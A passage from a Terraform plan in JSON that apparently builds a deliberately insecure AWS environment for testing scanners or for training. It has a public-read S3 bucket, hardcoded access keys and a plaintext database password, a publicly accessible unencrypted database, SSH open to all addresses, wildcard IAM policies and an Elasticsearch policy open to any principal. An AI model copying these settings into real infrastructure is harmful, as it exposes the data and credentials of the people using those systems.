"vpcflowlogs", "provider_name": "aws", "schema_version": 0, "values": { "eni_id": null, "iam_role_arn": null, "log_destination_type": "s3", "max_aggregation_interval": 600, "subnet_id": null, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-flowlogs" }, "traffic_type": "ALL" } }, { "address": "aws_iam_access_key.user", "mode": "managed", "type": "aws_iam_access_key", "name": "user", "provider_name": "aws", "schema_version": 0, "values": { "pgp_key": null, "user": "123456789123-acme-corp-user" } }, { "address": "aws_iam_instance_profile.ec2profile", "mode": "managed", "type": "aws_iam_instance_profile", "name": "ec2profile", "provider_name": "aws", "schema_version": 0, "values": { "name": "123456789123-acme-corp-profile", "name_prefix": null, "path": "/", "role": "123456789123-acme-corp-role" } }, { "address": "aws_iam_role.ec2role", "mode": "managed", "type": "aws_iam_role", "name": "ec2role", "provider_name": "aws", "schema_version": 0, "values": { "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"ec2.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n", "description": null, "force_detach_policies": false, "max_session_duration": 3600, "name": "123456789123-acme-corp-role", "name_prefix": null, "path": "/", "permissions_boundary": null, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-role" } } }, { "address": "aws_iam_role.iam_for_eks", "mode": "managed", "type": "aws_iam_role", "name": "iam_for_eks", "provider_name": "aws", "schema_version": 0, "values": { "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"eks.amazonaws.com\"\n }\n }\n ]\n}", "description": null, "force_detach_policies": false, "max_session_duration": 3600, "name": "123456789123-acme-corp-iam-for-eks", "name_prefix": null, "path": "/", "permissions_boundary": null, "tags": null } }, { "address": "aws_iam_role.iam_for_lambda", "mode": "managed", "type": "aws_iam_role", "name": "iam_for_lambda", "provider_name": "aws", "schema_version": 0, "values": { "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"lambda.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n", "description": null, "force_detach_policies": false, "max_session_duration": 3600, "name": "123456789123-acme-corp-analysis-lambda", "name_prefix": null, "path": "/", "permissions_boundary": null, "tags": null } }, { "address": "aws_iam_role_policy.ec2policy", "mode": "managed", "type": "aws_iam_role_policy", "name": "ec2policy", "provider_name": "aws", "schema_version": 0, "values": { "name": "123456789123-acme-corp-policy", "name_prefix": null, "policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"s3:*\",\n \"ec2:*\",\n \"rds:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n" } }, { "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy", "mode": "managed", "type": "aws_iam_role_policy_attachment", "name": "policy_attachment-AmazonEKSClusterPolicy", "provider_name": "aws", "schema_version": 0, "values": { "policy_arn": "arn:aws:iam::aws:policy/AmazonEKSClusterPolicy", "role": "123456789123-acme-corp-iam-for-eks" } }, { "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy", "mode": "managed", "type": "aws_iam_role_policy_attachment", "name": "policy_attachment-AmazonEKSServicePolicy", "provider_name": "aws", "schema_version": 0, "values": { "policy_arn": "arn:aws:iam::aws:policy/AmazonEKSServicePolicy", "role": "123456789123-acme-corp-iam-for-eks" } }, { "address": "aws_iam_user.user", "mode": "managed", "type": "aws_iam_user", "name": "user", "provider_name": "aws", "schema_version": 0, "values": { "force_destroy": true, "name": "123456789123-acme-corp-user", "path": "/", "permissions_boundary": null, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-user" } } }, { "address": "aws_iam_user_policy.userpolicy", "mode": "managed", "type": "aws_iam_user_policy", "name": "userpolicy", "provider_name": "aws", "schema_version": 0, "values": { "name": "excess_policy", "name_prefix": null, "policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"ec2:*\",\n \"s3:*\",\n \"lambda:*\",\n \"cloudwatch:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n", "user": "123456789123-acme-corp-user" } }, { "address": "aws_instance.db_app", "mode": "managed", "type": "aws_instance", "name": "db_app", "provider_name": "aws", "schema_version": 1, "values": { "ami": "ami-0f0a6d00932023856", "credit_specification": [], "disable_api_termination": null, "ebs_optimized": null, "get_password_data": false, "hibernation": null, "iam_instance_profile": "123456789123-acme-corp-profile", "instance_initiated_shutdown_behavior": null, "instance_type": "t2.nano", "monitoring": null, "source_dest_check": true, "tags": { "Name": "123456789123-acme-corp-dbapp" }, "timeouts": null, "user_data_base64": null } }, { "address": "aws_instance.web_host", "mode": "managed", "type": "aws_instance", "name": "web_host", "provider_name": "aws", "schema_version": 1, "values": { "ami": "ami-09a5b0b7edf08843d", "credit_specification": [], "disable_api_termination": null, "ebs_optimized": null, "get_password_data": false, "hibernation": null, "iam_instance_profile": null, "instance_initiated_shutdown_behavior": null, "instance_type": "t2.nano", "monitoring": null, "source_dest_check": true, "tags": { "Name": "123456789123-acme-corp-ec2" }, "timeouts": null, "user_data": "44c6c808e6449ee36dfcfc4ebd66c1b9634b40f2", "user_data_base64": null } }, { "address": "aws_internet_gateway.web_igw", "mode": "managed", "type": "aws_internet_gateway", "name": "web_igw", "provider_name": "aws", "schema_version": 0, "values": { "tags": { "Name": "123456789123-acme-corp-igw" } } }, { "address": "aws_kms_alias.logs_key_alias", "mode": "managed", "type": "aws_kms_alias", "name": "logs_key_alias", "provider_name": "aws", "schema_version": 0, "values": { "name": "alias/123456789123-acme-corp-logs-bucket-key", "name_prefix": null } }, { "address": "aws_kms_key.logs_key", "mode": "managed", "type": "aws_kms_key", "name": "logs_key", "provider_name": "aws", "schema_version": 0, "values": { "customer_master_key_spec": "SYMMETRIC_DEFAULT", "deletion_window_in_days": 7, "description": "123456789123-acme-corp-logs bucket key", "enable_key_rotation": false, "is_enabled": true, "key_usage": "ENCRYPT_DECRYPT", "tags": null } }, { "address": "aws_lambda_function.analysis_lambda", "mode": "managed", "type": "aws_lambda_function", "name": "analysis_lambda", "provider_name": "aws", "schema_version": 0, "values": { "dead_letter_config": [], "description": null, "environment": [ { "variables": { "access_key": "AKIAIOSFODNN7EXAMPLE", "secret_key": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" } } ], "file_system_config": [], "filename": "resources/lambda_function_payload.zip", "function_name": "123456789123-acme-corp-analysis", "handler": "exports.test", "kms_key_arn": null, "layers": null, "memory_size": 128, "publish": false, "reserved_concurrent_executions": -1, "runtime": "nodejs12.x", "s3_bucket": null, "s3_key": null, "s3_object_version": null, "source_code_hash": "Fne61Y/F2pmVywaVqIYcztFMK3LNeMJKpWFNnxDdGTw=", "tags": null, "timeout": 3, "timeouts": null, "vpc_config": [] } }, { "address": "aws_neptune_cluster.default", "mode": "managed", "type": "aws_neptune_cluster", "name": "default", "provider_name": "aws", "schema_version": 0, "values": { "apply_immediately": true, "backup_retention_period": 5, "cluster_identifier": "neptunedb1", "deletion_protection": null, "enable_cloudwatch_logs_exports": null, "engine": "neptune", "final_snapshot_identifier": null, "iam_database_authentication_enabled": false, "iam_roles": null, "neptune_cluster_parameter_group_name": "default.neptune1", "port": 8182, "preferred_backup_window": "07:00-09:00", "replication_source_identifier": null, "skip_final_snapshot": true, "snapshot_identifier": null, "storage_encrypted": false, "tags": null, "timeouts": null } }, { "address": "aws_neptune_cluster_instance.default[0]", "mode": "managed", "type": "aws_neptune_cluster_instance", "name": "default", "index": 0, "provider_name": "aws", "schema_version": 0, "values": { "apply_immediately": true, "auto_minor_version_upgrade": true, "engine": "neptune", "instance_class": "db.t3.medium", "neptune_parameter_group_name": "default.neptune1", "port": 8182, "promotion_tier": 0, "publicly_accessible": false, "tags": null, "timeouts": null } }, { "address": "aws_neptune_cluster_snapshot.default", "mode": "managed", "type": "aws_neptune_cluster_snapshot", "name": "default", "provider_name": "aws", "schema_version": 0, "values": { "db_cluster_snapshot_identifier": "resourcetestsnapshot1", "timeouts": null } }, { "address": "aws_network_interface.web-eni", "mode": "managed", "type": "aws_network_interface", "name": "web-eni", "provider_name": "aws", "schema_version": 0, "values": { "description": null, "private_ips": [ "172.16.10.100" ], "source_dest_check": true, "tags": { "Name": "123456789123-acme-corp-primary_network_interface" } } }, { "address": "aws_route.public_internet_gateway", "mode": "managed", "type": "aws_route", "name": "public_internet_gateway", "provider_name": "aws", "schema_version": 0, "values": { "destination_cidr_block": "0.0.0.0/0", "destination_ipv6_cidr_block": null, "timeouts": { "create": "5m", "delete": null }, "transit_gateway_id": null, "vpc_peering_connection_id": null } }, { "address": "aws_route_table.web_rtb", "mode": "managed", "type": "aws_route_table", "name": "web_rtb", "provider_name": "aws", "schema_version": 0, "values": { "tags": { "Name": "123456789123-acme-corp-rtb" } } }, { "address": "aws_route_table_association.rtbassoc", "mode": "managed", "type": "aws_route_table_association", "name": "rtbassoc", "provider_name": "aws", "schema_version": 0, "values": { "gateway_id": null } }, { "address": "aws_route_table_association.rtbassoc2", "mode": "managed", "type": "aws_route_table_association", "name": "rtbassoc2", "provider_name": "aws", "schema_version": 0, "values": { "gateway_id": null } }, { "address": "aws_s3_bucket.data", "mode": "managed", "type": "aws_s3_bucket", "name": "data", "provider_name": "aws", "schema_version": 0, "values": { "acl": "public-read", "bucket": "123456789123-acme-corp-data", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-data" }, "website": [] } }, { "address": "aws_s3_bucket.data_science", "mode": "managed", "type": "aws_s3_bucket", "name": "data_science", "provider_name": "aws", "schema_version": 0, "values": { "acl": "private", "bucket": "123456789123-acme-corp-data-science", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [ { "target_prefix": "log/" } ], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": null, "versioning": [ { "enabled": true, "mfa_delete": false } ], "website": [] } }, { "address": "aws_s3_bucket.financials", "mode": "managed", "type": "aws_s3_bucket", "name": "financials", "provider_name": "aws", "schema_version": 0, "values": { "acl": "private", "bucket": "123456789123-acme-corp-financials", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-financials" }, "website": [] } }, { "address": "aws_s3_bucket.flowbucket", "mode": "managed", "type": "aws_s3_bucket", "name": "flowbucket", "provider_name": "aws", "schema_version": 0, "values": { "acl": "private", "bucket": "123456789123-acme-corp-flowlogs", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-flowlogs" }, "website": [] } }, { "address": "aws_s3_bucket.logs", "mode": "managed", "type": "aws_s3_bucket", "name": "logs", "provider_name": "aws", "schema_version": 0, "values": { "acl": "log-delivery-write", "bucket": "123456789123-acme-corp-logs", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [ { "rule": [ { "apply_server_side_encryption_by_default": [ { "sse_algorithm": "aws:kms" } ] } ] } ], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-logs" }, "versioning": [ { "enabled": true, "mfa_delete": false } ], "website": [] } }, { "address": "aws_s3_bucket.operations", "mode": "managed", "type": "aws_s3_bucket", "name": "operations", "provider_name": "aws", "schema_version": 0, "values": { "acl": "private", "bucket": "123456789123-acme-corp-operations", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-operations" }, "versioning": [ { "enabled": true, "mfa_delete": false } ], "website": [] } }, { "address": "aws_s3_bucket_object.data_object", "mode": "managed", "type": "aws_s3_bucket_object", "name": "data_object", "provider_name": "aws", "schema_version": 0, "values": { "acl": "private", "cache_control": null, "content": null, "content_base64": null, "content_disposition": null, "content_encoding": null, "content_language": null, "force_destroy": false, "key": "customer-master.xlsx", "metadata": null, "object_lock_legal_hold_status": null, "object_lock_mode": null, "object_lock_retain_until_date": null, "source": "resources/customer-master.xlsx", "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-customer-master" }, "website_redirect": null } }, { "address": "aws_security_group.default", "mode": "managed", "type": "aws_security_group", "name": "default", "provider_name": "aws", "schema_version": 1, "values": { "description": "Managed by Terraform", "name": "123456789123-acme-corp-rds-sg", "name_prefix": null, "revoke_rules_on_delete": false, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-rds-sg" }, "timeouts": null } }, { "address": "aws_security_group.web-node", "mode": "managed", "type": "aws_security_group", "name": "web-node", "provider_name": "aws", "schema_version": 1, "values": { "description": "123456789123-acme-corp Security Group", "egress": [ { "cidr_blocks": [ "0.0.0.0/0" ], "description": "", "from_port": 0, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "-1", "security_groups": [], "self": false, "to_port": 0 } ], "ingress": [ { "cidr_blocks": [ "0.0.0.0/0" ], "description": "", "from_port": 22, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "tcp", "security_groups": [], "self": false, "to_port": 22 }, { "cidr_blocks": [ "0.0.0.0/0" ], "description": "", "from_port": 80, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "tcp", "security_groups": [], "self": false, "to_port": 80 } ], "name": "123456789123-acme-corp-sg", "name_prefix": null, "revoke_rules_on_delete": false, "tags": null, "timeouts": null } }, { "address": "aws_security_group_rule.egress", "mode": "managed", "type": "aws_security_group_rule", "name": "egress", "provider_name": "aws", "schema_version": 2, "values": { "cidr_blocks": [ "0.0.0.0/0" ], "description": null, "from_port": 0, "ipv6_cidr_blocks": null, "prefix_list_ids": null, "protocol": "-1", "self": false, "to_port": 0, "type": "egress" } }, { "address": "aws_security_group_rule.ingress", "mode": "managed", "type": "aws_security_group_rule", "name": "ingress", "provider_name": "aws", "schema_version": 2, "values": { "cidr_blocks": [ "172.16.0.0/16" ], "description": null, "from_port": 3306, "ipv6_cidr_blocks": null, "prefix_list_ids": null, "protocol": "tcp", "self": false, "to_port": 3306, "type": "ingress" } }, { "address": "aws_subnet.eks_subnet1", "mode": "managed", "type": "aws_subnet", "name": "eks_subnet1", "provider_name": "aws", "schema_version": 1, "values": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2a", "cidr_block": "10.10.10.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-eks-subnet", "kubernetes.io/cluster/123456789123-acme-corp-eks": "shared" }, "timeouts": null } }, { "address": "aws_subnet.eks_subnet2", "mode": "managed", "type": "aws_subnet", "name": "eks_subnet2", "provider_name": "aws", "schema_version": 1, "values": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2b", "cidr_block": "10.10.11.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-eks-subnet2", "kubernetes.io/cluster/123456789123-acme-corp-eks": "shared" }, "timeouts": null } }, { "address": "aws_subnet.web_subnet", "mode": "managed", "type": "aws_subnet", "name": "web_subnet", "provider_name": "aws", "schema_version": 1, "values": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2a", "cidr_block": "172.16.10.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-subnet" }, "timeouts": null } }, { "address": "aws_subnet.web_subnet2", "mode": "managed", "type": "aws_subnet", "name": "web_subnet2", "provider_name": "aws", "schema_version": 1, "values": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2b", "cidr_block": "172.16.11.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-subnet2" }, "timeouts": null } }, { "address": "aws_volume_attachment.ebs_att", "mode": "managed", "type": "aws_volume_attachment", "name": "ebs_att", "provider_name": "aws", "schema_version": 0, "values": { "device_name": "/dev/sdh", "force_detach": null, "skip_destroy": null } }, { "address": "aws_vpc.eks_vpc", "mode": "managed", "type": "aws_vpc", "name": "eks_vpc", "provider_name": "aws", "schema_version": 1, "values": { "assign_generated_ipv6_cidr_block": false, "cidr_block": "10.10.0.0/16", "enable_dns_hostnames": true, "enable_dns_support": true, "instance_tenancy": "default", "tags": { "Name": "123456789123-acme-corp-eks-vpc" } } }, { "address": "aws_vpc.web_vpc", "mode": "managed", "type": "aws_vpc", "name": "web_vpc", "provider_name": "aws", "schema_version": 1, "values": { "assign_generated_ipv6_cidr_block": false, "cidr_block": "172.16.0.0/16", "enable_dns_hostnames": true, "enable_dns_support": true, "instance_tenancy": "default", "tags": { "Name": "123456789123-acme-corp-vpc" } } }, { "address": "null_resource.push_image", "mode": "managed", "type": "null_resource", "name": "push_image", "provider_name": "null", "schema_version": 0, "values": { "triggers": null } } ] } }, "resource_changes": [ { "address": "aws_db_instance.default", "mode": "managed", "type": "aws_db_instance", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "allocated_storage": 20, "allow_major_version_upgrade": null, "apply_immediately": true, "auto_minor_version_upgrade": true, "backup_retention_period": 0, "copy_tags_to_snapshot": false, "db_subnet_group_name": "sg-123456789123-acme-corp", "delete_automated_backups": true, "deletion_protection": null, "domain": null, "domain_iam_role_name": null, "enabled_cloudwatch_logs_exports": null, "engine": "mysql", "engine_version": "8.0", "final_snapshot_identifier": null, "iam_database_authentication_enabled": null, "identifier": "rds-123456789123-acme-corp", "instance_class": "db.t3.micro", "iops": null, "max_allocated_storage": null, "monitoring_interval": 0, "multi_az": false, "name": "db1", "option_group_name": "og-123456789123-acme-corp", "parameter_group_name": "pg-123456789123-acme-corp", "password": "Aa1234321Bb", "performance_insights_enabled": false, "publicly_accessible": true, "replicate_source_db": null, "s3_import": [], "security_group_names": null, "skip_final_snapshot": true, "snapshot_identifier": null, "storage_encrypted": false, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-rds" }, "timeouts": null, "username": "admin" }, "after_unknown": { "address": true, "arn": true, "availability_zone": true, "backup_window": true, "ca_cert_identifier": true, "character_set_name": true, "endpoint": true, "hosted_zone_id": true, "id": true, "identifier_prefix": true, "kms_key_id": true, "license_model": true, "maintenance_window": true, "monitoring_role_arn": true, "performance_insights_kms_key_id": true, "performance_insights_retention_period": true, "port": true, "replicas": true, "resource_id": true, "s3_import": [], "status": true, "storage_type": true, "tags": {}, "timezone": true, "vpc_security_group_ids": true } } }, { "address": "aws_db_option_group.default", "mode": "managed", "type": "aws_db_option_group", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "engine_name": "mysql", "major_engine_version": "8.0", "name": "og-123456789123-acme-corp", "option": [], "option_group_description": "Terraform OG", "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-og" }, "timeouts": null }, "after_unknown": { "arn": true, "id": true, "name_prefix": true, "option": [], "tags": {} } } }, { "address": "aws_db_parameter_group.default", "mode": "managed", "type": "aws_db_parameter_group", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "Terraform PG", "family": "mysql8.0", "name": "pg-123456789123-acme-corp", "parameter": [ { "apply_method": "immediate", "name": "character_set_client", "value": "utf8" }, { "apply_method": "immediate", "name": "character_set_server", "value": "utf8" } ], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-pg" } }, "after_unknown": { "arn": true, "id": true, "name_prefix": true, "parameter": [ {}, {} ], "tags": {} } } }, { "address": "aws_db_subnet_group.default", "mode": "managed", "type": "aws_db_subnet_group", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "Terraform DB Subnet Group", "name": "sg-123456789123-acme-corp", "tags": { "Environment": "123456789123-acme-corp", "Name": "sg-123456789123-acme-corp" } }, "after_unknown": { "arn": true, "id": true, "name_prefix": true, "subnet_ids": true, "tags": {} } } }, { "address": "aws_ebs_snapshot.example_snapshot", "mode": "managed", "type": "aws_ebs_snapshot", "name": "example_snapshot", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "123456789123-acme-corp-ebs-snapshot", "tags": { "Name": "123456789123-acme-corp-ebs-snapshot" }, "timeouts": null }, "after_unknown": { "arn": true, "data_encryption_key_id": true, "encrypted": true, "id": true, "kms_key_id": true, "owner_alias": true, "owner_id": true, "tags": {}, "volume_id": true, "volume_size": true } } }, { "address": "aws_ebs_volume.web_host_storage", "mode": "managed", "type": "aws_ebs_volume", "name": "web_host_storage", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "availability_zone": "us-west-2a", "multi_attach_enabled": null, "outpost_arn": null, "size": 1, "tags": { "Name": "123456789123-acme-corp-ebs" } }, "after_unknown": { "arn": true, "encrypted": true, "id": true, "iops": true, "kms_key_id": true, "snapshot_id": true, "tags": {}, "type": true } } }, { "address": "aws_ecr_repository.repository", "mode": "managed", "type": "aws_ecr_repository", "name": "repository", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "encryption_configuration": [], "image_scanning_configuration": [], "image_tag_mutability": "MUTABLE", "name": "123456789123-acme-corp-repository", "tags": { "Name": "123456789123-acme-corp-repository" }, "timeouts": null }, "after_unknown": { "arn": true, "encryption_configuration": [], "id": true, "image_scanning_configuration": [], "registry_id": true, "repository_url": true, "tags": {} } } }, { "address": "aws_eks_cluster.eks_cluster", "mode": "managed", "type": "aws_eks_cluster", "name": "eks_cluster", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "enabled_cluster_log_types": null, "encryption_config": [], "name": "123456789123-acme-corp-eks", "tags": null, "timeouts": null, "vpc_config": [ { "endpoint_private_access": true, "endpoint_public_access": true, "security_group_ids": null } ] }, "after_unknown": { "arn": true, "certificate_authority": true, "created_at": true, "encryption_config": [], "endpoint": true, "id": true, "identity": true, "platform_version": true, "role_arn": true, "status": true, "version": true, "vpc_config": [ { "cluster_security_group_id": true, "public_access_cidrs": true, "subnet_ids": true, "vpc_id": true } ] } } }, { "address": "aws_elasticsearch_domain.monitoring-framework", "mode": "managed", "type": "aws_elasticsearch_domain", "name": "monitoring-framework", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "cluster_config": [ { "dedicated_master_count": null, "dedicated_master_enabled": false, "dedicated_master_type": null, "instance_count": 1, "instance_type": "t2.small.elasticsearch", "warm_count": null, "warm_enabled": null, "warm_type": null, "zone_awareness_config": [], "zone_awareness_enabled": null } ], "cognito_options": [], "domain_name": "tg-corp-es", "ebs_options": [ { "ebs_enabled": true, "iops": null, "volume_size": 30 } ], "elasticsearch_version": "2.3", "log_publishing_options": [], "snapshot_options": [], "tags": null, "timeouts": null, "vpc_options": [] }, "after_unknown": { "access_policies": true, "advanced_options": true, "advanced_security_options": true, "arn": true, "cluster_config": [ { "zone_awareness_config": [] } ], "cognito_options": [], "domain_endpoint_options": true, "domain_id": true, "ebs_options": [ { "volume_type": true } ], "encrypt_at_rest": true, "endpoint": true, "id": true, "kibana_endpoint": true, "log_publishing_options": [], "node_to_node_encryption": true, "snapshot_options": [], "vpc_options": [] } } }, { "address": "aws_elasticsearch_domain_policy.monitoring-framework-policy", "mode": "managed", "type": "aws_elasticsearch_domain_policy", "name": "monitoring-framework-policy", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "access_policies": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"es:*\",\n \"Resource\": \"*\",\n \"Principal\": {\n \"AWS\": \"*\"\n }\n }\n ]\n}", "domain_name": "tg-corp-es" }, "after_unknown": { "id": true } } }, { "address": "aws_elb.weblb", "mode": "managed", "type": "aws_elb", "name": "weblb", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "access_logs": [], "connection_draining": true, "connection_draining_timeout": 400, "cross_zone_load_balancing": true, "health_check": [ { "healthy_threshold": 2, "interval": 30, "target": "HTTP:8000/", "timeout": 3, "unhealthy_threshold": 2 } ], "idle_timeout": 400, "listener": [ { "instance_port": 8000, "instance_protocol": "http", "lb_port": 80, "lb_protocol": "http", "ssl_certificate_id": "" } ], "name": "weblb-terraform-elb", "name_prefix": null, "tags": { "Name": "foobar-terraform-elb" } }, "after_unknown": { "access_logs": [], "arn": true, "availability_zones": true, "dns_name": true, "health_check": [ {} ], "id": true, "instances": true, "internal": true, "listener": [ {} ], "security_groups": true, "source_security_group": true, "source_security_group_id": true, "subnets": true, "tags": {}, "zone_id": true } } }, { "address": "aws_flow_log.vpcflowlogs", "mode": "managed", "type": "aws_flow_log", "name": "vpcflowlogs", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "eni_id": null, "iam_role_arn": null, "log_destination_type": "s3", "max_aggregation_interval": 600, "subnet_id": null, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-flowlogs" }, "traffic_type": "ALL" }, "after_unknown": { "arn": true, "id": true, "log_destination": true, "log_format": true, "log_group_name": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_iam_access_key.user", "mode": "managed", "type": "aws_iam_access_key", "name": "user", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "pgp_key": null, "user": "123456789123-acme-corp-user" }, "after_unknown": { "encrypted_secret": true, "id": true, "key_fingerprint": true, "secret": true, "ses_smtp_password_v4": true, "status": true } } }, { "address": "aws_iam_instance_profile.ec2profile", "mode": "managed", "type": "aws_iam_instance_profile", "name": "ec2profile", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "name": "123456789123-acme-corp-profile", "name_prefix": null, "path": "/", "role": "123456789123-acme-corp-role" }, "after_unknown": { "arn": true, "create_date": true, "id": true, "unique_id": true } } }, { "address": "aws_iam_role.ec2role", "mode": "managed", "type": "aws_iam_role", "name": "ec2role", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"ec2.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n", "description": null, "force_detach_policies": false, "max_session_duration": 3600, "name": "123456789123-acme-corp-role", "name_prefix": null, "path": "/", "permissions_boundary": null, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-role" } }, "after_unknown": { "arn": true, "create_date": true, "id": true, "tags": {}, "unique_id": true } } }, { "address": "aws_iam_role.iam_for_eks", "mode": "managed", "type": "aws_iam_role", "name": "iam_for_eks", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"eks.amazonaws.com\"\n }\n }\n ]\n}", "description": null, "force_detach_policies": false, "max_session_duration": 3600, "name": "123456789123-acme-corp-iam-for-eks", "name_prefix": null, "path": "/", "permissions_boundary": null, "tags": null }, "after_unknown": { "arn": true, "create_date": true, "id": true, "unique_id": true } } }, { "address": "aws_iam_role.iam_for_lambda", "mode": "managed", "type": "aws_iam_role", "name": "iam_for_lambda", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"lambda.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n", "description": null, "force_detach_policies": false, "max_session_duration": 3600, "name": "123456789123-acme-corp-analysis-lambda", "name_prefix": null, "path": "/", "permissions_boundary": null, "tags": null }, "after_unknown": { "arn": true, "create_date": true, "id": true, "unique_id": true } } }, { "address": "aws_iam_role_policy.ec2policy", "mode": "managed", "type": "aws_iam_role_policy", "name": "ec2policy", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "name": "123456789123-acme-corp-policy", "name_prefix": null, "policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"s3:*\",\n \"ec2:*\",\n \"rds:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n" }, "after_unknown": { "id": true, "role": true } } }, { "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy", "mode": "managed", "type": 